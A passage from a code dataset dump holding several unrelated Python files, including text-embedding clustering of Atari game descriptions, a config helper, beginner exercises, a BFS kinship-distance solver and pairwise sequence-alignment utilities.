the model.\"\"\"\n\n        self.train = train\n        self.train_labels = train_labels\n\n    def predict(self, test):\n        \"\"\"Predicts classes to unseen data.\n\n        Parameters\n        ----------\n        test: list\n            Test data to be predicted.\n\n        Returns\n        -------\n        list\n            Predictions to unseen data.\"\"\"\n\n        pred = list()\n        for test_inst in test:\n            nearest_neighbors = self.nearest(self.neighbors(test_inst))\n            pred.append(self.majority_vote(self.votes(nearest_neighbors)))\n\n        return pred\n","sub_path":"core/model/classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"483872461","text":"from build_graph import *\nimport sys\nimport json\nimport spacy\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom tqdm import tqdm\n\nfrom nltk.corpus import stopwords\n\nfrom sklearn.cluster import KMeans\nfrom sklearn.decomposition import PCA\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.manifold import TSNE\nfrom sklearn.metrics import silhouette_score\nfrom sklearn.metrics.pairwise import cosine_similarity\n\nSTOP_WORDS = stopwords.words('english')\n\nnlp = spacy.load(\"en_core_web_lg\")\n\n\ndef extract_cluster_names(text, labels):\n    label_to_all_text = {l: \"\" for l in labels}\n    for t, l in zip(text, labels):\n        label_to_all_text[l] += \" \" + t\n\n    vectorizer = TfidfVectorizer(stop_words=STOP_WORDS)\n    corpus = [t for _, t in sorted(label_to_all_text.items(), key=lambda x: x[0])]\n    labels = [label for label, _ in sorted(label_to_all_text.items(), key=lambda x: x[0])]\n    X = vectorizer.fit_transform(corpus)\n\n    words_to_index = {w: i for i, w in enumerate(vectorizer.get_feature_names())}\n    all_words = vectorizer.get_feature_names()\n\n    for tfidf_score, l in zip(X, labels):\n        tfidf_score = np.reshape(tfidf_score.toarray(), (-1))\n        most_characteristic_words = sorted(all_words,\n                                           key=lambda x: tfidf_score[words_to_index[x]],\n                                           reverse=True)[:20]\n        print(most_characteristic_words)\n\n\ndef run_kmeans(embeddings, n_clusters: int):\n    \"\"\"\n    :param embeddings: matrix of textual embeddings\n    :param n_clusters: number of clusters\n    :return: kmeans labels\n    \"\"\"\n    kmeans = KMeans(n_clusters=n_clusters, random_state=0).fit(embeddings)\n    return kmeans.labels_\n\n\ndef reduce_dims(embeddings, reduction):\n    \"\"\"\n    :param embeddings: matrix of textual embeddings\n    :param reduction: function to reduce dimension of embeddings\n    :return: first two dimensions of reduction\n    \"\"\"\n    if reduction == \"TSNE\":\n        X_embedded = TSNE(n_components=2).fit_transform(embeddings)\n    elif reduction == \"PCA\":\n        X_embedded = PCA(n_components=2).fit_transform(embeddings)\n\n    x = X_embedded[:, 0]\n    y = X_embedded[:, 1]\n\n    return x, y\n\n\ndef calculate_num_clusters(embeddings, kmax: int = 30):\n    \"\"\"\n    :param embeddings: matrix of textual embeddings\n    :param kmax: maximum number of clusters\n    :return: optimal number of clusters\n    \"\"\"\n    sil = []\n    embs = embeddings\n    # dissimilarity would not be defined for a single cluster, thus, minimum number of clusters should be 2\n    for k in range(2, kmax + 1):\n        kmeans = KMeans(n_clusters=k).fit(embs)\n        labels = kmeans.labels_\n        sil.append((k, silhouette_score(embs, labels, metric='euclidean')))\n\n    print(sil)\n    return max(sil, key=lambda x: x[1])\n\n\ndef visualize_embeddings(text_to_embedding, reduce_fn, num_clusters, show=True):\n    \"\"\"\n    :param text_to_embedding: dictionary of text to embeddings\n    :param reduce_fn: function to reduce dimension of embeddings\n    :param num_clusters: number of clusters to find\n    :param write_to_file: boolean to write to file\n    :param file_name: name of file to write to\n    :return: text and labels for the text\n    \"\"\"\n    items = list(sorted(text_to_embedding.items()))\n    text = [k for k, _ in items]\n    # normalize = lambda v: v/np.linalg.norm(v) if np.sum(v) != 0 else v\n    vector_representation = [v for _, v in items]\n    x, y = reduce_dims(vector_representation, reduction=reduce_fn)\n\n    labels = run_kmeans(vector_representation, num_clusters)\n    # print(num)\n\n    if show:\n\n        plt.clf()\n        colors = ['r', 'g', 'b', 'y', 'm']\n        for c, label in enumerate(set(labels)):\n            plt.scatter([i for i, l in zip(x, labels) if l == label],\n                        [i for i, l in zip(y, labels) if l == label],\n                        c=colors[c])\n        for t, l, xi, yi in zip(text, labels, x, y):\n            plt.annotate(t + \"-{}\".format(l), (xi, yi))\n        plt.show()\n\n    return text, labels\n\n\ndef load_data(exclude={\"Tennis\\n\"}, print_most_similar=False):\n\n    with open(\"game_to_gameplay_text.json\", \"r\", encoding=\"latin-1\") as game_file:\n        text_dict = json.load(game_file)\n\n    print(text_dict.keys())\n\n    all_docs = [(k, nlp(v)) for k, v in text_dict.items() if not k in exclude]\n\n    if print_most_similar:\n        for k, d in all_docs:\n            print(\n                k,\n                \": \\n\",\n                sorted([(d.similarity(x[1]), x[0]) for x in all_docs if x[0] != k],\n                       key=lambda x: x[0],\n                       reverse=True)[:3])\n\n    name_to_vector = {}\n\n    for k, d in all_docs:\n        name_to_vector[k] = d.vector\n\n    return text_dict, name_to_vector\n\n\ntext_dict, name_to_vector = load_data()\n\nif sys.argv[1] == \"VIZ\":\n    text, labels = visualize_embeddings(name_to_vector, \"PCA\", 4, show=True)\n    print(\"\\n\\n\")\n    extract_cluster_names([text_dict[t] for t in text], labels)\n\n    for label in set(labels):\n        print(\n            process_text(\n                \" \".join([\n                    text_dict[t].encode(\"ascii\", \"ignore\").decode() for l,\n                    t in zip(labels, text) if l == label\n                ]),\n                str(label)))\n        print(\"\\n\")\n\nelif sys.argv[1] == \"all\":\n    print(\n        process_text(\" \".join([v.encode(\"ascii\", \"ignore\").decode() for _, v in text_dict.items()]),\n                     sys.argv[1]))\nelse:\n    print(process_text(text_dict[sys.argv[1] + '\\n'], sys.argv[1]))\n","sub_path":"atari/parse_game_text.py","file_name":"parse_game_text.py","file_ext":"py","file_size_in_byte":5518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"183643131","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom configparser import ConfigParser, NoOptionError, NoSectionError\n\nfrom os import path \n\nfrom .log import *\n\n# Setting variables\nCONFIGURATION_FILE_PATH = path.abspath(path.join(path.abspath(__file__), \"..\", \"..\", \"..\", \"..\", \"configuration.ini\"))\nconfig = ConfigParser()\nconfig.read(CONFIGURATION_FILE_PATH)\n\n\ndef location_configuration():\n    \"\"\"This function returns the location of the configuration file on the machine. This function is called from the\n    configuration-settings page.\n    \"\"\"\n    return(CONFIGURATION_FILE_PATH)\n\n\ndef check_configuration():\n    \"\"\"This function checks whether the configuration file exists at the configuration file location. This function\n    returns a boolean value.\n    \"\"\"\n    CONFIGURATION_FILE_PATH = path.abspath(path.join(path.abspath(__file__), \"..\", \"..\", \"..\", \"..\", \"configuration.ini\"))\n\n    config = ConfigParser()\n    return(config.read(CONFIGURATION_FILE_PATH))\n\n\ndef configuration_get(section, key):\n    \"\"\"This function is used to get the value of a key in a certain section. The section is the file is the value\n    between the brackets [] and the key is the value after the colon.\n    \"\"\"\n    try:\n        return config.get(section, key)\n    except(ValueError, NameError) as e:\n        log.error(str(e))\n\n\ndef configuration_set(section, key, value):\n    \"\"\"This function is used to set the value of a key in a certain section.\n    \"\"\"\n    config_file = open(CONFIGURATION_FILE_PATH, 'w')\n    try:\n        config.set(section, key, value)\n\n    except(NoSectionError, NoOptionError) as e:\n        log.error(str(e))\n\n    config.write(config_file)\n    config_file.close()","sub_path":"Source/crawler/utilities/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"324962556","text":"# 写出判断一个数是否能同时别4和6整除的条件语句，并打印对应的结果\n# num = int(input('请输入一个数字'))\n#\n# if num %4 == 0 and num %6 == 0:\n#     print('能同时被4和6同时整除')\n\n#能被3整除或者7整除，但是不能同时被3或者7整除的条件语句，并打印对应的结果\n\n# num = int(input('请输入一个数字'))\n# if num %3 == 0 or num %7 == 0:\n#     print('能被3整除或者被7整除')\n\n#输入年，写代码判断输入的年是否是闰年，并且打印对应的结果(闰年的条件： 能被4整除但是不能被100整除或者能被400整除)\n# year = int(input('请输入一个年份：'))\n# if(year % 4 == 0 and year % 100 != 0) or (year % 400 == 0):\n#     print(year,'是个润年')\n\n#假设今天的上课时间为3718秒，编程计算今天上课时间是多少小时，多少分钟，多少秒，以xx时xx分xx秒的方式表达出来\n# x = 3718\n# hour = x // 3600\n# minut = x % 3600 // 60\n# second = x % 60\n# print(hour,'小时',minut,'分钟',second,'秒')\n\n#定义两个变量保持一个人的身高和体重，编程实现判断这个人的身材是否正常\n#公式： 体重(kg)/身高(m)的平方值在18.5 ~ 24.9 之间属于正常\nweight = float(input('请输入您的体重（kg）'))\nheight = float(input('请输入您的身高（m）'))\nBMI = weight / height ** 2\nprint(BMI)\nif 18.5 < BMI < 24.9:\n    print('您的身高体重正常')","sub_path":"04.流程控制语句/02.if语句的练习.py","file_name":"02.if语句的练习.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"163549115","text":"import numpy as np\nimport matplotlib.pyplot as plt\nnp.random.seed(11)\nN=500\nmean=[[2,2],[3,8],[9,2]]\ncov=[[1,0],[0,1]]\nX0=np.random.multivariate_normal(mean[0],cov,size=N)\nX1=np.random.multivariate_normal(mean[1],cov,size=N)\nX2=np.random.multivariate_normal(mean[2],cov,size=N)\nX=np.concatenate((X0,X1,X2),axis=0)\nk=3\noriginal_label=np.asarray([0]*N+[1]*N+[2]*N)\n\ndef kmean_display(X,label):\n    X0=X[label==0,:]\n    X1=X[label==1,:]\n    X2=X[label==2,:]\n    plt.title(\"kmean cluster\")\n    plt.xlabel(\"x\")\n    plt.ylabel(\"y\")\n    plt.plot(X0[:,0],X0[:,1],'b^',markersize=4,alpha=.8)# b^ blue tam giác,markersize :độ to của điểm\n    plt.plot(X1[:, 0], X1[:, 1], 'go',markersize=4,alpha=.8)# go là green hình tròn\n    plt.plot(X2[:, 0], X2[:, 1], 'rs',markersize=4,alpha=.8)# rs là red square\n    plt.show()\nkmean_display(X,original_label)\n","sub_path":"week9/kmean.py","file_name":"kmean.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"352867685","text":"# 2644. 촌수계산 (실버2)\n\nimport sys\nfrom collections import deque\ninput = sys.stdin.readline\n\ndef bfs(start):\n    visited = [0] * (n+1)\n    visited[start] = 1\n    queue = deque([start])\n    while queue:\n        node = queue.popleft()\n        for next_node in graph[node]:\n            if not visited[next_node]:\n                visited[next_node] = visited[node] + 1\n                if next_node == r2:\n                    return visited[next_node] - 1\n                queue.append(next_node)\n    return -1\n\nn = int(input())\nr1, r2 = map(int, input().split())\nm = int(input())\ngraph = [[] for _ in range(n+1)]\nfor _ in range(m):\n    x, y = map(int, input().split())\n    graph[x].append(y)\n    graph[y].append(x)\nprint(bfs(r1))\n\n\n# import sys\n# sys.setrecursionlimit(10000)\n# input = sys.stdin.readline\n\n# def dfs(node):\n#     for next_node in family[node]:\n#         if not visited[next_node]:\n#             visited[next_node] = visited[node] + 1\n#             dfs(next_node)\n\n# n = int(input())\n# r1, r2 = map(int, input().split())\n# m = int(input())\n# family = [[]*(n+1) for _ in range(n+1)]\n# for _ in range(m):\n#     s, e = map(int, input().split())\n#     family[s].append(e)\n#     family[e].append(s)\n\n# visited = [0] * (n+1)\n# visited[r1] = 1\n# dfs(r1)\n# print(visited[r2]-1) if visited[r2] else print(-1)\n","sub_path":"week10_6_1/BOJ_2644_영주.py","file_name":"BOJ_2644_영주.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"2157174","text":"'''\r\nModule for functions that have to do specifically with aligning two or more sequences or sometimes\r\ndealing with a multiple sequence alignment. This is an interface to the Python-C extension module\r\nin  the /ext folder...\r\n'''\r\n\r\nfrom .base_utils import *\r\nimport phylogeny_utilities.ext.nwops as nw\r\n\r\n\r\ndef pwalign_print_seg(s1, s2, st=0, N=50, match_char='|', match_last=False):\r\n    '''\r\n    Pretty prints a segment of two pairwise-aligned sequences.\r\n    Parameters\r\n    ----------\r\n    s1: (str) first sequence\r\n    s2: (str) second sequence\r\n    st: (int) starting position\r\n    N: (int) length to print\r\n\r\n    Returns:\r\n    -------\r\n\r\n    '''\r\n    assert len(s1) == len(s2), 'sequences are different lengths!'\r\n    N = min(st+N, len(s1))-st\r\n    mcdiff = str2nparr(match_char)[0]-32\r\n    s1np=str2nparr(s1)\r\n    s2np=str2nparr(s2)\r\n    s1s2match = nparr2str((mcdiff * ((s1np == s2np) & (s1np != 45) & (s2np != 45)) + 32).astype(np.uint8))\r\n    if not match_last:\r\n        print('%s\\n%s\\n%s' % (s1[st:(st + N)], s1s2match[st:(st + N)], s2[st:(st + N)]))\r\n    else:\r\n        print('%s\\n%s\\n%s' % (s1[st:(st + N)], s2[st:(st + N)], s1s2match[st:(st + N)]))\r\n\r\ndef pwalign_print_full(s1,s2,N=150,match_char='|'):\r\n    '''\r\n    Runs the previous function 'pwalign_print_seg' for the full set of sequences and prints the whole PW\r\n    alignment to the console, with a blank line between segments.\r\n    '''\r\n    aln_len = len(s1)\r\n    pos = 0\r\n    while pos < aln_len:\r\n        pwalign_print_seg(s1,s2,pos,N,match_char)\r\n        print('')\r\n        pos += N\r\n    return\r\n\r\ndef print_msa_section(name_inds, fanp, fromloc, seglen, txnm=None):\r\n    '''\r\n    Prints a subset of a multiple-sequence alignment (MSA), namely a specified set\r\n        of rows, starting at a specified starting column and extendeing for a\r\n        specified length. Optionally, if a list of taxon names is given as an input\r\n        the sequence names will be appended to the end of each row.\r\n\r\n    Parameters\r\n    ----------\r\n    name_inds:  (1-d np.array, dtype=int) containing row-inidces to print.\r\n    fanp:       (2-d np.array, dtype=np.uint8) containing the multiple sequence\r\n                alignment. (i.e. from fastadict_to_nparray).\r\n    fromloc:    (int) Start-column of the print region (0-indexed)\r\n    seglen:     (int) # of (consecutive) positions to print\r\n    txnm:       (list of <str>) list of sequence names, must have same length\r\n                as 'fanp' has rows, i.e. (len(txnm)==fanp.shape[0]). This is NOT\r\n                checked so this will throw an error if the list is too short.\r\n    Returns\r\n    -------\r\n        (None)\r\n    '''\r\n    for i in name_inds:\r\n        print(nparr2str(fanp[i,fromloc:(fromloc+seglen)]), end ='')\r\n        if txnm is not None:\r\n            print(' :: ' + txnm[i])\r\n        else:\r\n            print('')\r\n\r\ndef get_leading_trailing_blanks(s1):\r\n    '''Returns a tuple of integers (A,B) where A is the number\r\n    of consecutive '-' characters at the front of the string and\r\n    B is the number of consecutive '-' characters at the end. For\r\n    and aligned sequence one of the two should be 0.'''\r\n    A=np.min(np.where(str2nparr(s1)!=45)[0])\r\n    B=len(s1)-np.max(np.where(str2nparr(s1)!=45)[0])-1\r\n    return (A,B)\r\n\r\ndef pdist(s1, s2, all=False):\r\n    '''\r\n    Takes two strings as input and returns the p-distance. Blanks are '-' ONLY. This function is a bit\r\n    redundant with \"pdist_npuint8\" earlier, but this has the option of using all sites instead of just\r\n    common sites.\r\n\r\n    Parameters\r\n    ----------\r\n    s1  (str or np.ndarray) first sequence\r\n    s2  (str) second sequence\r\n    all (bool) whether to output a complete result as (p-distance, # mathces, # common positions) (default: False)\r\n\r\n    Returns (float/tuple): p-distance (and other values, if requested).\r\n    -------\r\n\r\n    '''\r\n    assert len(s1)==len(s2), \"lengths do not match\"\r\n    l=len(s1)\r\n    a=np.zeros((2,l),dtype=np.uint8)\r\n    if not isinstance(s1,np.ndarray):\r\n        a[0,]=str2nparr(s1)\r\n    else:\r\n        a[0,]=s1.astype(np.uint8)\r\n    if not isinstance(s2, np.ndarray):\r\n        a[1,]=str2nparr(s2)\r\n    else:\r\n        a[1,]=s2.astype(np.uint8)\r\n    c = np.sum((a[0,] != 45) & (a[1,] != 45))\r\n    s = np.sum((a[0,] != 45) & (a[1,] != 45) & (a[0,]==a[1,]))\r\n    if all:\r\n        return 1.0 - float(s)/float(c), s, c\r\n    else:\r\n        return 1.0 - float(s)/float(c)\r\n\r\ndef pdist_npuint8(np_seq1, np_seq2):\r\n    '''Takes two sequences in the form of numpy arrays (np.uint8). Returns the p-distance between the two,\r\n    computed over only common non-blank sites.'''\r\n    comm = np.sum((np_seq1 != 45) & (np_seq2 != 45),dtype=np.float64)\r\n    same = np.sum((np_seq1 != 45) & (np_seq2 != 45) & (np_seq1==np_seq2), dtype=np.float64)\r\n    return (0.0 if comm==0 else 1-same/comm, int(comm), int(same))\r\n\r\ndef count_mutations_by_type(s1,s2):\r\n    '''Counts the mutations between two sequences that are synonymous vs. non-synonymous. The way we decide is\r\n    simply if the codon is different or not. If two mutations happen in there, they are both considered coding\r\n    mutations.'''\r\n    mut_syn_ct = 0; mut_cod_ct = 0; mut_unk_ct = 0;\r\n    s1np=str2nparr(s1)\r\n    s2np=str2nparr(s2)\r\n    mut_locs=np.where((s1np != s2np) & (s1np != 45) & (s2np != 45))[0]\r\n    mut_codons = np.floor(mut_locs/3).astype(np.int32)\r\n    mut_pos = np.mod(mut_locs,3)\r\n    s1cod = nuc2codons(s1)\r\n    s2cod = nuc2codons(s2)\r\n    s1cod_gc = (s1np[0::3]==45).astype(np.int32)+(s1np[1::3]==45).astype(np.int32)+(s1np[2::3]==45).astype(np.int32)\r\n    s2cod_gc = (s2np[0::3] == 45).astype(np.int32) + (s2np[1::3] == 45).astype(np.int32) + (s2np[2::3] == 45).astype(np.int32)\r\n    part_codons1 = np.where((s1cod_gc>0) & (s1cod_gc < 3))[0]\r\n    part_codons2 = np.where((s2cod_gc > 0) & (s2cod_gc < 3))[0]\r\n    #\r\n    for i in np.unique(mut_codons):\r\n        ct = np.sum(mut_codons == i)\r\n        if (i in part_codons1) or (i in part_codons2):\r\n            mut_unk_ct += ct\r\n        elif codons_nostop[s1cod[i]] == codons_nostop[s2cod[i]]:\r\n            mut_syn_ct += ct\r\n        else:\r\n            mut_cod_ct += ct\r\n    #\r\n    return (mut_syn_ct, mut_cod_ct, mut_unk_ct)\r\n\r\ndef count_coding_mutations(c1, c2):\r\n    '''Starts with codon c1. Changes right-most position to equal c2, checks synonymity, then moves left & repeats.\r\n    Both c1 and c2 should be length-3 numpy arrays of type np.uint8. Returns (# synonymous, # non-synonymous).'''\r\n    cd = c1.copy(); syn=0; nonsyn=0; aaold = codon_lookup[nparr2str(c1)]; inds = list(np.where(c1!=c2)[0][::-1]);\r\n    for i in inds:\r\n        cd[i]=c2[i]; aanew=codon_lookup[nparr2str(cd)];\r\n        syn += 1 if aaold==aanew else 0; aaold = aanew;\r\n    return syn, len(inds)-syn\r\n\r\ndef count_mutations_by_all_types(s1,s2,debug=False):\r\n    '''Takes two sequences and does an alignment of their translated AA sequences first, then aligns the codons,\r\n    then counts mutations by type (AA-insertions, AA-deletions, Nuc-Coding, Nuc-Noncoding).\r\n\r\n    Here 'insertions' are AAs in the first sequences but gaps in second, 'deletions' are the opposite.'''\r\n    # ...initialize 1) output variables &\r\n    #               2) needleman-wunsch penalty values (here a mismatch costs half as much as a gap)\r\n    nt_mut_syn_ct = 0; nt_mut_cod_ct = 0; nt_mut_unk_ct = 0; aa_ins_ct = 0; aa_del_ct = 0; aa_mut_ct = 0;\r\n    codon_mut_synonym_ct = 0; codon_mut_nonsyno_ct = 0;\r\n    nw_gap = -1; nw_match = 1; nw_diff = -1; nw_ast = 0; nw_endgap = 0;\r\n\r\n    # Make a) translated AA sequences, b) aligned AA sequences, c) numpy-type aligned AA sequences, d) indices of\r\n    #   non-gap AAs, e) sequence of codons (python-list), f) numpy-type aligned nucleotide sequences.\r\n    aa1 = dna_to_protein(s1, '*'); aa2 = dna_to_protein(s2, '*');\r\n    nwaln = nowabbr.get_nwalign_wpenalty(aa1, aa2, nw_diff, nw_match, nw_gap, nw_ast, nw_endgap)\r\n    aa1aln = nwaln[3]; aa2aln = nwaln[4];\r\n    aa1np = str2nparr(aa1aln); aa2np = str2nparr(aa2aln);\r\n    aa1_pos_map = np.where(aa1np!=45)[0]; aa2_pos_map = np.where(aa2np!=45)[0];\r\n    if debug:\r\n        print('aa1aln:\\t%s\\naa2aln:\\t%s\\n' % (aa1aln, aa2aln))\r\n        print('aa1np.shape: %s,   aa2np.shape: %s \\naa1_pos_map.shape: %s,   aa2_pos_map.shape: %s' %\r\n              (str(aa1np.shape), str(aa2np.shape), str(aa1_pos_map.shape), str(aa2_pos_map.shape)))\r\n    #s1cod = nuc2codons(s1); s2cod = nuc2codons(s2);\r\n    s1np = str2nparr(s1); s2np = str2nparr(s2);\r\n\r\n    # Count AA-insertions, AA-deletions and find AA-mutation positions\r\n    aa_ins_ct = np.where((aa1np != 45) & (aa2np == 45))[0].shape[0]\r\n    aa_del_ct = np.where((aa1np == 45) & (aa2np != 45))[0].shape[0]\r\n    aa_mut_locs = np.where((aa1np != 45) & (aa2np != 45) & (aa1np != aa2np))[0]\r\n    aa_synonym_locs = np.where((aa1np != 45) & (aa2np != 45) & (aa1np == aa2np))[0]\r\n    aa_mut_ct = aa_mut_locs.shape[0]\r\n\r\n    # Make g) numpy-type nucleotide *aligned* sequence\r\n    s1np_aln = 45*np.ones(aa1np.shape[0]*3, dtype=np.uint8); s2np_aln = 45*np.ones(aa2np.shape[0]*3, dtype=np.uint8);\r\n    s1np_aln[aa1_pos_map * 3] = s1np[::3]; s1np_aln[aa1_pos_map * 3 + 1] = s1np[1::3]; s1np_aln[aa1_pos_map * 3 + 2] = s1np[2::3];\r\n    s2np_aln[aa2_pos_map * 3] = s2np[::3]; s2np_aln[aa2_pos_map * 3 + 1] = s2np[1::3]; s2np_aln[aa2_pos_map * 3 + 2] = s2np[2::3];\r\n\r\n    # Make 1) Vector of 1/0 if there is a non-gap NUCLEOTIDE mutation, 2) Sum of that every 3 positions (i.e. a count of\r\n    #       underlying nucleotide mutations for every AA site.\r\n    nuc_aln_point_mutation_locs = 1*((s1np_aln != 45) & (s2np_aln != 45) & (s1np_aln != s2np_aln))\r\n    aa_aln_underlying_mutation_cts = nuc_aln_point_mutation_locs[::3] + nuc_aln_point_mutation_locs[1::3] + nuc_aln_point_mutation_locs[2::3]\r\n\r\n    # Count up all the nucleotide mutations underlying synonymous positions:\r\n    nt_mut_syn_ct = np.sum(aa_aln_underlying_mutation_cts[aa_synonym_locs])\r\n    single_nuc_coding_mutation_locs = aa_mut_locs[np.where(aa_aln_underlying_mutation_cts[aa_mut_locs]==1)[0]]\r\n    multi_nuc_coding_mutation_locs = aa_mut_locs[np.where(aa_aln_underlying_mutation_cts[aa_mut_locs]>1)[0]]\r\n\r\n    # For each mutliple-nucleotide mutation position: count how many are coding vs. non-coding:\r\n    multi_nuc_coding_syn_cts = np.zeros(multi_nuc_coding_mutation_locs.shape[0],dtype=np.int32)\r\n    multi_nuc_coding_nonsyn_cts = np.zeros(multi_nuc_coding_mutation_locs.shape[0], dtype=np.int32)\r\n    for i in range(multi_nuc_coding_mutation_locs.shape[0]):\r\n        loc = multi_nuc_coding_mutation_locs[i]\r\n        syn, nonsyn = count_coding_mutations(s1np_aln[loc*3:(loc*3+3)], s2np_aln[loc*3:(loc*3+3)])\r\n        multi_nuc_coding_syn_cts[i] = syn; multi_nuc_coding_nonsyn_cts[i] = nonsyn;\r\n\r\n    # Summarize all the calculations:\r\n    nt_mut_cod_ct += single_nuc_coding_mutation_locs.shape[0]      # add all single-mutation positions to coding_ct\r\n    nt_mut_cod_ct += np.sum(multi_nuc_coding_nonsyn_cts)           # add all multi-mutation position CODING mutations\r\n    nt_mut_syn_ct += np.sum(multi_nuc_coding_syn_cts)              # add multi-mutation position SYNONYMOUS mutations\r\n\r\n    return nt_mut_syn_ct, nt_mut_cod_ct, nt_mut_unk_ct, aa_ins_ct, aa_del_ct, aa_mut_ct, aa1np.shape[0]\r\n\r\ndef report_on_alignment(nwres, diff_score=-1, match_score=1, gap_score=-1, endgap_score=0, verbose=True, asterix_score=0):\r\n    '''\r\n    Takes the result tuple from a needleman-wunsch alignment as the first argument, plus each\r\n    of the NW scores (in order: mismatch, match, gap, end-gap [defaults=(-1,1,-1,0)]), and\r\n    reports all the statistics about the pairwise alignment. Includes sequence lengths,\r\n    alignment lengths, numbers of match/mismatch/gap/end-gaps, p-distance and how the NW-score\r\n    was computed.\r\n\r\n    Parameters\r\n    ----------\r\n    nwres:      (tuple) from nwops.get_nwalign_wpenalty, i.e. in the form:\r\n                            (alignment_length, gap_ct, NW-score, aligned seq 1, aligned seq 2)\r\n    diff_score:     (int) mismatch-score used\r\n    match_score:    (int) match-score used\r\n    gap_score:      (int) internal gap-score used\r\n    endgap_score:   (int) terminal gap-score used\r\n    verbose:        (bool) if True, prints a report to the console with data (default: True)\r\n    asterix_score:   (int) asterix-score used (not used here).\r\n\r\n\r\n    Returns:\r\n    -------\r\n    Tuple of the result stats: (p-distance, % overlap, #match, #mismatch, #internal-gaps, #startgaps, #endgaps, Nw-score).\r\n    '''\r\n    s1a=nwres[3]; s2a=nwres[4];\r\n    alen=nwres[0]; agapct=nwres[1]; ascore=nwres[2];\r\n    s1anp=str2nparr(s1a); s2anp=str2nparr(s2a);\r\n    pd, match_ct, common_ct = pdist(s1a, s2a, True)\r\n    diff_ct = common_ct - match_ct;\r\n    stgaps1=np.where(s1anp!=45)[0][0]; engaps1=np.where(s1anp[::-1]!=45)[0][0];\r\n    stgaps2=np.where(s2anp!=45)[0][0]; engaps2=np.where(s2anp[::-1]!=45)[0][0];\r\n    stgaps = max(stgaps1, stgaps2); engaps = max(engaps1, engaps2); midgaps=agapct-stgaps-engaps;\r\n    nwscore_computed = match_ct*match_score + diff_ct*diff_score + midgaps*gap_score + (engaps+stgaps)*endgap_score\r\n    overlap_jaccard = 1 - float(engaps + stgaps) / float(alen - midgaps)\r\n    if verbose:\r\n        print('sequence lengths:     %d, %d' % (len(s1a.replace('-','')), len(s2a.replace('-',''))))\r\n        print('alignment length:     %d (overlap: %d)' % (alen, alen-stgaps-engaps))\r\n        print('     # match: %6d      start-gap ct: %4d' % (match_ct, stgaps))\r\n        print('     # diffs: %6d      end-gap ct:   %4d' % (diff_ct, engaps))\r\n        print('  p-distance: %6.3f      mid-gap ct:   %4d' % (pd, midgaps))\r\n        print('     NW-score = (%d * %s)  +  (%d * %s)  +  (%d * %s)  +  (%d * %s)' % (match_ct, match_score, diff_ct, diff_score, midgaps, gap_score, engaps+stgaps, endgap_score))\r\n        print('     NW-score = %d   (returned = %d)' % (nwscore_computed, ascore))\r\n    return (pd, overlap_jaccard, match_ct, diff_ct, midgaps, stgaps, engaps, nwscore_computed)\r\n\r\ndef center_circular_sequences(s1a, s2a):\r\n    '''\r\n    Takes two aligned sequences as strings (with gaps as '-' ONLY). Returns two sequences that are centered so that\r\n    whichever of the start or end overhangs was shorter has been shifted to the other side. For example, if the\r\n    aligned sequences were:\r\n        Seq 1:  '-----ACGTTTTCCCGTAACAC'\r\n        Seq 2:  'AACACAGGTTTTACCG-A----'\r\n    The function would take which ever overhang is shorter (in this case, the end, which is on sequence 1), and shift\r\n    that to the other side. It would then return the unaligned sequences as a tuple (seq1-shifted, seq2-shifted). In\r\n    this example, it would return ('ACACACGTTTTCCCGTA' , 'AACACAGGTTTTACCGA') which can then be re-aligned.\r\n\r\n    Parameters\r\n    ----------\r\n    s1a:    (str) Aligned sequence 1\r\n    s2a:    (str) Aligned sequence 2\r\n\r\n    Returns\r\n    -------\r\n    Tuple of re-centered, unaligned sequences in the order they came in.\r\n    '''\r\n    start_gaps = max(np.where(str2nparr(s1a)!=45)[0][0], np.where(str2nparr(s2a)!=45)[0][0] )\r\n    end_gaps = max(np.where(str2nparr(s1a)[::-1] != 45)[0][0], np.where(str2nparr(s2a)[::-1] != 45)[0][0])\r\n    if start_gaps<=end_gaps:        #shorter overhang is at start, shift it to end\r\n        if s1a[0]=='-':             #Seq2 will be re-centered\r\n            s1s = s1a.replace('-','')\r\n            s2s = s2a[start_gaps:] + s2a[:start_gaps]\r\n            s2s = s2s.replace('-','')\r\n        else:                       #Seq1 will be re-centered\r\n            s2s = s2a.replace('-', '')\r\n            s1s = s1a[start_gaps:] + s1a[:start_gaps]\r\n            s1s = s1s.replace('-', '')\r\n    else:                           #shorter overhang is at end, shift it to start\r\n        if s1a[-1]=='-':             #Seq2 will be re-centered\r\n            s1s = s1a.replace('-','')\r\n            s2s = s2a[-end_gaps:] + s2a[:-end_gaps]\r\n            s2s = s2s.replace('-','')\r\n        else:                       #Seq1 will be re-centered\r\n            s2s = s2a.replace('-', '')\r\n            s1s = s1a[-end_gaps:] + s1a[:-end_gaps]\r\n            s1s = s1s.replace('-', '')\r\n    return (s1s, s2s)\r\n\r\ndef align_plasmids(seq1, seq2, diff_score=-1, match_score=1, gap_score=-1, endgap_score=0, asterix_score=0, pdist_cutoff=0.9, nwscore_cutoff=0.8):\r\n    '''Since the sequences are assumed to be circular and there is the possibility that they are reverse complements\r\n    of one-another, this function tries a few different alignments and returns the data for the best one. First it\r\n    assumes that the sequences are oriented correctly and it tries 1) a regular NW-alignment, plus 2) an NW-alignment\r\n    after the sequences have been re-centered. Assuming the re-centered version has a longer internal alignment based\r\n    on the internal_jaccard calc:\r\n            1.0 - (start/end gaps) / (alignment_length - internal_gaps).\r\n    Whichever has the longer internal_jaccard is the operative 'forward' alignment. Then it reverse-complements one\r\n     of the sequences (specifically, seq2) and does the same thing: 3) regular NW-alignment on (seq1, RC(seq2)), plus\r\n    4) an NW of the same sequences after being re-centered. Again, whichever of (3) or (4) has the 